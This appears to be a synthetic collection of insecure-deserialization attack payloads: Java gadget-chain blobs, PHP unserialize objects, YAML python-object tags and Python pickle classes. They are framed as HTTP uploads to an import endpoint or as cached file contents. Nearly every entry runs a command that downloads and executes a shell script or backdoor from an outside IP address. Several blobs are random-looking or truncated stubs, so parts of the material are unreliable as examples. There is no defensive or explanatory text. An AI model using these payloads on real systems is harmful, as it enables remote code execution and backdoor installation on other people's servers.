// Payload: Runtime.exec("curl http://52.170.8.26/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://37.233.73.171/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:71:"rgnWxNjri6SPmD3DgrJaaRailq15CHQCgsVYJBeZ";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://201.26.129.176/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://174.42.246.198/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://160.209.220.195/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://208.195.106.66/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('0vZKpQXS0M1NO0ax0Z3TVtJdRHI3IkJPKE4m79TKd7tfEv5rBP6JEnEHzQLf')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://230.130.31.17/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('mj7V0U+JtM5/VvgJSRqOPphyaYjYG/830Ykr07j0j06k0173t3oJRg8YZXw6')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://67.247.156.227/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://119.233.193.195/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://200.154.7.109/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:55:"spyms+Jner6or0LkQCadMnQX43KW3uUAxEIueLIs";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://33.231.188.74/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('loYTF4fByYK5DERDiVw9WAo/zO0x9Osd/IxYLJEKT7Ppd4JXOrsVWazmCvvg')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://97.95.56.162/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://171.133.45.26/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://110.119.28.96/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://117.228.26.43/shell")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:72:"5XsNq5VrkYR87IVdIvd7vHPU6kN7HOYNQtzGZcZF";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://195.247.176.69/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:59:"16z41zJEHJAqgYvbFkEK3Py11Xn78g55ra5C8c59";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://154.99.116.250/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('n1GYEHib9pjfLnwPkNb+FwFu4pzCHIeRflnaUH7yxvUI9ux99tnqGzf2+iGK')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://106.82.73.65/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:56:"OMiXEgzoUt4bErjJans2KuyzTvsKX+jHj+uIrzNo";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://113.38.179.81/bd")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://118.250.60.108/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://3.128.200.1/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://33.17.54.168/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://55.120.63.104/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://188.20.37.231/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://179.85.80.138/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://37.168.188.204/backdoor', '-O', '/tmp/bd']


# Cache file contents
import pickle, base64
data = base64.b64decode('+BT4mOuYvJi3k72st1W0w+WBCcOST410Wf8uKPG0JPmYMlpyC45wVxkLCo9e')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://136.80.65.35/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://79.190.134.227/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://100.181.42.252/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://139.238.168.149/backdoor', '-O', '/tmp/bd']


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:35:"MlkHitoOWuxDh5oCTvebEyT3EpHxKn3KH3AUyAce";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://143.86.241.93/bd")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://126.76.23.180/shell")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:23:"zu4Hl4O+/oJ1DxK/AiH8pe93P8rvRGtFdA1cfYHg";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://65.50.188.199/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('jaidbUH3KnoQ0ulwW6edu/14Piw58wfKj+cxsuYdghXviTZue55usSteX3Sq')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://186.11.194.17/shell.sh | bash',))


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://133.226.230.235/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://101.99.114.229/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://85.155.255.148/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://240.250.202.23/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://211.212.43.81/shell")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:71:"am3hScg3hcUmRh7rUx87l6THKoR8Tu/291kxdkYk";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://85.111.15.163/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://31.2.252.156/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://69.161.28.25/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:65:"N9pMuf9wuhR6Vyi/3nP7eIEnqCHixazk5IEsNgQw";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://160.198.236.132/bd")


# Cache file contents
import pickle, base64
data = base64.b64decode('pUdCf5TH9H4CCtPgezFpLnDoDOafbxG+lOKrj7eCfvtJ5FdIlbadCehLYNcR')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://26.85.61.70/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://253.29.43.123/shell")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:67:"C/6U7EFnAgqPeMQFrUSmJa0lZBdsTdIv99qUkRpA";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://117.249.139.217/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:23:"fX3pjbcDqwMkHa3I439KCNIpkPcukXAQyWvQpaOO";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://112.225.236.156/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:75:"RG2jcZBGf/B02/sXpVXWr5Py97PMFK5ujkKMJIIm";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://213.45.69.254/bd")


# Cache file contents
import pickle, base64
data = base64.b64decode('XQb1TOwNrlXo0n8AUM9PIILZMfY65D5dZ3W+oJniJeEObWHGxkeC7O6VLRO/')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://248.4.19.111/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:22:"4NufGgGz4DHvt9BNsGlCZsZQ1BKROttRQCEzwmfQ";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://254.88.242.87/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('3BLJ67Pfd90LOaVHgXgbxY6TfpODZt3bKUCQQCsVEYq43KTWGjIJRedukQdj')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://253.191.255.214/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://24.3.241.171/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://224.112.57.226/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://54.112.50.234/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:26:"hPHSqnEskPYnsuePwFLafElr8nlw2imq87XNGA3F";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://185.180.200.175/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('V+lRJtgdJX+SbOvOwOoYyTxgVhyV3TFuLIN+M9xQbd9/npClncXnGRQ7eJ+0')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://7.168.253.212/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('kJ1HUhXhh5ahBmM8DtKrCPfAoMU8iypVeNY7P1oYCjkKdyy4npLF3Du+WVN6')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://70.107.148.82/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://92.25.53.205/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://220.247.68.83/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('HJXtqjeSHvN76Jq9YBdNOgUv2w1XdnVGZPzNLoQsqBXbhJg8iXKXwKxm1suN')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://193.59.87.100/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://222.99.55.3/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://55.213.182.3/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('dVJqqXS7gTcSRHZKYukka++M90iHBOUbwkAu2tBTe837pE3tsOOu+CuLn9B9')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://243.46.232.182/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('5V/gHvR7TcCA4KYVj/ae7KWA7Df9tIxgBytPvxuHRqwCZex1hbqnv2BCHtsx')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://94.9.30.58/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:71:"V8WIBKlepya5+drhpOa4zLYjDDLIBMdbjNnEZ6WR";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://152.175.193.99/bd")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:62:"6P25j0CZZal5DUPMFi6eQQfUZ/bFFcQo3e442QqS";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://45.242.136.132/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:73:"b/NDeaOk3XqfQYZ/WoXN3g0vTKjg3+HSsk40iXjY";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://110.65.81.111/bd")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://29.51.102.26/shell")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('SAxLOEjRu8j0ujQ+aXvbI7mtFbFwEZEydI77IAJrfXQ6+dxF8KP4Vq9xgoeg')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://195.146.215.175/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://188.71.7.91/shell")